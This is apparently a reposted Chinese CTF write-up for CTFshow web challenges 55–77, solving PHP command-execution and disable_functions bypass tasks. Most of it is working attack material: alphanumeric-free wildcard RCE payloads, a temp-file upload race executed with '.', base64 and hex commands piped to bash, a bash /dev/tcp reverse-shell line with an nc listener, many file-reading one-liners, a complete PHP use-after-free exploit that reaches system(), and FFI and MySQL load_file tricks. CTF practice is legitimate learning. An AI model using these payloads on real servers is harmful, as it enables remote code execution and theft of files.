web55
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c);
}
不能出现英文字符
方法1
?c=/???/????64 ????????
但是这个不是通用的,base64不是每个机器都用
方法2
bzip2的使用
bzip2是linux下面的压缩文件的命令
我们可以通过该命令压缩flag.php 然后进行下载
payload:?c=/???/???/???2 ???.???
也就是/usr/bin/bzip2 flag.php
然后访问/flag.php.bz2进行下载获得flag.php
方法3
发现 . 没有被过滤,.(点)的用法,就是相当于source可以执行命令
可以通过post一个文件(文件里面的sh命令),在上传的过程中,通过.(点)去执行执行这个文件。(形成了条件竞争)。一般来说这个文件在linux下面保存在/tmp/php???一般后面的6个字符是随机生成的有大小写。(可以通过linux的匹配符去匹配)
注意:通过.去执行sh命令不需要有执行权限需要构造一个post上传文件的数据包。
<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>POST数据包POC</title> </head> <body> <form action="http://46230c96-8291-44b8-a58c-c133ec248231.chall.ctf.show/" method="post" enctype="multipart/form-data"> <!--链接是当前打开的题目链接--> <label for="file">文件名:</label> <input type="file" name="file" id="file"><br> <input type="submit" name="submit" value="提交"> </form> </body> </html>
然后抓包如图
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-OYz5U49N-1630725103224)(F:_笔记\mdpic\3.CTFshow刷题日记-WEB-命令执行\watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQ2MDkxNDY0,size_16,color_FFFFFF,t_70%23pic_center.png)]
构造poc执行命令
?c=.+/???/???[@-[]
注:后面的[@-[]是linux下面的匹配符,是进行匹配的大写字母。然后在上传文件内容添加sh命令
#!/bin/sh ls
直接读flag
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-iwCQLsgj-1630725103229)(F:_笔记\mdpic\3.CTFshow刷题日记-WEB-命令执行\watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQ2MDkxNDY0,size_16,color_FFFFFF,t_70%23pic_center.png)]
总结
这道题主要是利用 上传文件到临时命令去通过.(点)去执行该上传文件的内容
web56
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|[a-z]|[0-9]|\\$|\(|\{|\'|\"|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c);
}
无字母数字rce,使用上题的第三种方法即可
需要多刷新几次
web57
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|[a-z]|[0-9]|\`|\|\#|\'|\"|\`|\%|\x09|\x26|\x0a|\>|\<|\.|\,|\?|\*|\-|\=|\[/i", $c)){
system("cat ".$c.".php");
}
先上payload
?c=$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))
- ${_} 上次命令执行的结果
- $(()) 进行运算
- (("")) == 0
对((“”))=0,对((“”))取反即(( ((“”))))为-1,37个-1相减得到-37,再取反得到36
其他linux shell绕过
- base64
echo "Y2F0IGZsYWcucGhw"|base64 -d|bash
- Hex绕过
echo "63617420666C61672E706870" | xxd -r -p|bash
$(printf "\x63\x61\x74\x20\x66\x6c\x61\x67")
- 拼接
b=ag;a=fl;cat $a$b
- 内联执行
cat `ls`
- 反弹shell
靶机:bash -i >& /dev/tcp/主机的ip/8888 0>&1
有公网ip的主机:nc -lvnp 8888 //监听8888端口
类型四:
PHP代码执行,突破禁用函数,绕过disable_functions
web58
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
}else{
highlight_file(__FILE__);
}
使用system发现被禁止了
执行命令的函数
system()
passthru()
exec()
shell_exec()
popen()
proc_open()
pcntl_exec()
反引号 同shell_exec()
不行就直接读取文件,首先获取文件路径
函数名 | 功能 |
scandir() | 扫目录用的,返回数组 |
getcwd() | 返回当前目录 |
glob() | 包含匹配指定模式的文件名或目录的数组 |
dir() | 返回 Directory 类的实例 |
opendir | 打开目录句柄 |
c=print_r(scandir(dirname('__FILE__')));
c=$a=new DirectoryIterator('glob:///*');foreach($a as $f){echo($f->__toString()." ");}
c=$a=opendir("./"); while (($file = readdir($a)) !== false){echo $file . "<br>"; };
c=$a=dir(getcwd());while ($file = $a->read()){echo $file . "<br>"; };
php读文件的函数有
readfile() 读取文件
fpassthru() 读取文件
highlight_file() 读文件
show_source() 同上
base64_decode() base64解码
strrev() 反转字符串
echo file_get_contents("flag.php");
print_r(file('flag.php'));
var_dump(file('flag.php'));
var_dump(glob("*flag*"));
通过fopen读取文件内容
通过fopen去读取文件内容,这里介绍下函数
fread()
fread($file,100) 读取打开的文件,读取100个字节
fgets() 读取一行
fgetc() 读取一个字符
fgetss()
fgetcsv() 读取一行
gpassthru()
payload:
c=$a=fopen("flag.php","r");while (!feof($a)) {$line = fgets($a);echo $line;}//一行一行读取
c=$a=fopen("flag.php","r");while (!feof($a)) {$line = fgetc($a);echo $line;}//一个一个字符读取
c=$a=fopen("flag.php","r");while (!feof($a)) {$line = fgetcsv($a);var_dump($line);}
payload
web59
index.php都是一样的
payload
c=highlight_file("flag.php");
c=var_dump(file("flag.php"));
c=$a=fopen("flag.php","r");while (!feof($a)) {$line = fgets($a);echo $line;}
c=$a=fopen("flag.php","r");while (!feof($a)) {$line = fgetc($a);echo $line;}
c=$a=fopen("flag.php","r");while (!feof($a)) {$line = fgetcsv($a);print_r($line);}
c=$a=fopen("flag.php","r");echo fread($a,"1000");
c=$a=fopen("flag.php","r");echo fpassthru($a);
web60
payload
post:c=highlight_file("flag.php");
c=$a=fopen("flag.php","r");while (!feof($a)) {$line = fgetc($a);echo $line;}
c=$a=fopen("flag.php","r");while (!feof($a)) {$line = fgetcsv($a);print_r($line);}
注意:
$a=fopen("flag.php","r");while (!feof($a)) {$line = fgetss($a);echo $line;} //php7.3版本后 该函数已不再被使用
曲线救国方法
//通过复制,重命名读取php文件内容(函数执行后,访问url/flag.txt)
copy()
rename()
//用法:
copy("flag.php","flag.txt"); //过60
rename("flag.php","flag.txt"); //过60
web61-65
payload
c=highlight_file("flag.php");
c=show_source("flag.php");
web66
首先获取文件路径
c=print_r(scandir(dirname('/')));
c=var_dump(scandir("/"));
发现flag.txt
payload
c=include('/flag.txt');
web67
print_r被ban了
c=$a=opendir("/"); while (($file = readdir($a)) !== false){echo $file . "<br>"; };
c=include('/flag.txt');
web68-70
扫目录
c=$a=new DirectoryIterator('glob:///*');foreach($a as $f){echo($f->__toString()." ");}
c=$a=opendir("/"); while (($file = readdir($a)) !== false){echo $file . "<br>"; };
...
读文件
c=include('/flag.txt');
c=require('/flag.txt');
c=require_once('/flag.txt');
web71
下载附件
index.php
<?php
error_reporting(0);
ini_set('display_errors', 0);
// 你们在炫技吗?
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
$s = ob_get_contents();
ob_end_clean();
echo preg_replace("/[0-9]|[a-z]/i","?",$s);
}else{
highlight_file(__FILE__);
}
?>
你要上天吗?
// 意思就是:执行之后返回输出缓冲区的内容,然后清空输出缓冲区,过滤[0-9][a-z]再输出
ob_get_contents — 返回输出缓冲区的内容
ob_end_clean — 清空(擦除)缓冲区并关闭输出缓冲
此函数丢弃最顶层输出缓冲区的内容并关闭这个缓冲区。如果想要进一步处理缓冲区的内容,必须在ob_end_clean()之前调用ob_get_contents(),因为当调用ob_end_clean()时缓冲区内容将被丢弃
payload
c=include("/flag.txt");exit(0);
通过exit();使程序提前退出,绕过后面的正则表达式
web72
hint
c=?><?php
$a=new DirectoryIterator("glob:///*");
foreach($a as $f)
{echo($f->__toString().' ');
} exit(0);
?>
//通过这个发现flag在flag0.txt
//之后利用uaf的脚本进行命令执行
这里的?>是为了闭合前面<?php
如:
<?php
$a = '?><?php echo 111;?>';
eval($a);
执行效果
再使用uaf脚本进行命令执行
c=function ctfshow($cmd) {
global $abc, $helper, $backtrace;
class Vuln {
public $a;
public function __destruct() {
global $backtrace;
unset($this->a);
$backtrace = (new Exception)->getTrace();
if(!isset($backtrace[1]['args'])) {
$backtrace = debug_backtrace();
}
}
}
class Helper {
public $a, $b, $c, $d;
}
function str2ptr(&$str, $p = 0, $s = 8) {
$address = 0;
for($j = $s-1; $j >= 0; $j--) {
$address <<= 8;
$address |= ord($str[$p+$j]);
}
return $address;
}
function ptr2str($ptr, $m = 8) {
$out = "";
for ($i=0; $i < $m; $i++) {
$out .= sprintf("%c",($ptr & 0xff));
$ptr >>= 8;
}
return $out;
}
function write(&$str, $p, $v, $n = 8) {
$i = 0;
for($i = 0; $i < $n; $i++) {
$str[$p + $i] = sprintf("%c",($v & 0xff));
$v >>= 8;
}
}
function leak($addr, $p = 0, $s = 8) {
global $abc, $helper;
write($abc, 0x68, $addr + $p - 0x10);
$leak = strlen($helper->a);
if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
return $leak;
}
function parse_elf($base) {
$e_type = leak($base, 0x10, 2);
$e_phoff = leak($base, 0x20);
$e_phentsize = leak($base, 0x36, 2);
$e_phnum = leak($base, 0x38, 2);
for($i = 0; $i < $e_phnum; $i++) {
$header = $base + $e_phoff + $i * $e_phentsize;
$p_type = leak($header, 0, 4);
$p_flags = leak($header, 4, 4);
$p_vaddr = leak($header, 0x10);
$p_memsz = leak($header, 0x28);
if($p_type == 1 && $p_flags == 6) {
$data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
$data_size = $p_memsz;
} else if($p_type == 1 && $p_flags == 5) {
$text_size = $p_memsz;
}
}
if(!$data_addr || !$text_size || !$data_size)
return false;
return [$data_addr, $text_size, $data_size];
}
function get_basic_funcs($base, $elf) {
list($data_addr, $text_size, $data_size) = $elf;
for($i = 0; $i < $data_size / 8; $i++) {
$leak = leak($data_addr, $i * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);
if($deref != 0x746e6174736e6f63)
continue;
} else continue;
$leak = leak($data_addr, ($i + 4) * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);
if($deref != 0x786568326e6962)
continue;
} else continue;
return $data_addr + $i * 8;
}
}
function get_binary_base($binary_leak) {
$base = 0;
$start = $binary_leak & 0xfffffffffffff000;
for($i = 0; $i < 0x1000; $i++) {
$addr = $start - 0x1000 * $i;
$leak = leak($addr, 0, 7);
if($leak == 0x10102464c457f) {
return $addr;
}
}
}
function get_system($basic_funcs) {
$addr = $basic_funcs;
do {
$f_entry = leak($addr);
$f_name = leak($f_entry, 0, 6);
if($f_name == 0x6d6574737973) {
return leak($addr + 8);
}
$addr += 0x20;
} while($f_entry != 0);
return false;
}
function trigger_uaf($arg) {
$arg = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');
$vuln = new Vuln();
$vuln->a = $arg;
}
if(stristr(PHP_OS, 'WIN')) {
die('This PoC is for *nix systems only.');
}
$n_alloc = 10;
$contiguous = [];
for($i = 0; $i < $n_alloc; $i++)
$contiguous[] = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');
trigger_uaf('x');
$abc = $backtrace[1]['args'][0];
$helper = new Helper;
$helper->b = function ($x) { };
if(strlen($abc) == 79 || strlen($abc) == 0) {
die("UAF failed");
}
$closure_handlers = str2ptr($abc, 0);
$php_heap = str2ptr($abc, 0x58);
$abc_addr = $php_heap - 0xc8;
write($abc, 0x60, 2);
write($abc, 0x70, 6);
write($abc, 0x10, $abc_addr + 0x60);
write($abc, 0x18, 0xa);
$closure_obj = str2ptr($abc, 0x20);
$binary_leak = leak($closure_handlers, 8);
if(!($base = get_binary_base($binary_leak))) {
die("Couldn't determine binary base address");
}
if(!($elf = parse_elf($base))) {
die("Couldn't parse ELF header");
}
if(!($basic_funcs = get_basic_funcs($base, $elf))) {
die("Couldn't get basic_functions address");
}
if(!($zif_system = get_system($basic_funcs))) {
die("Couldn't get zif_system address");
}
$fake_obj_offset = 0xd0;
for($i = 0; $i < 0x110; $i += 8) {
write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
}
write($abc, 0x20, $abc_addr + $fake_obj_offset);
write($abc, 0xd0 + 0x38, 1, 4);
write($abc, 0xd0 + 0x68, $zif_system);
($helper->b)($cmd);
exit();
}
ctfshow("cat /flag0.txt");ob_end_flush();
#需要通过url编码哦
web73-74
首先去找flag所在位置
payload
c=?><?php $a=new DirectoryIterator("glob:///*");foreach($a as $f){echo($f->__toString().' ');} exit(0);
c=include("/flagc.txt");
c=require("/flagc.txt");exit(0);
c=require_once("/flagc.txt");exit(0);
web75-76
第一步扫描目录
c=$a=new DirectoryIterator("glob:///*");foreach($a as $f){echo($f->__toString().' ');}exit(0);
利用mysql load_file读文件
c=try {$dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root',
'root');foreach($dbh->query('select load_file("/flag36.txt")') as $row)
{echo($row[0])."|"; }$dbh = null;}catch (PDOException $e) {echo $e-
>getMessage();exit(0);}exit(0);
web77
第一遍扫描目录
c=$a=new DirectoryIterator("glob:///*");foreach($a as $f){echo($f->__toString().' ');}exit(0);
然后发现下面有一个readflag肯定是要调用这个,不会做,看了这个FFI拓展挺神奇的,说谁php7.4版本以上才有,大家想了解可以看看下面的参考链接
c=$ffi=FFI::cdef("int system(char *command);", "libc.so.6");$a='/readflag > 1.txt';$ffi->system($a);exit();标签:WEB,addr,55,leak,echo,77,flag,base,php From: https://blog.51cto.com/u_15878568/5873177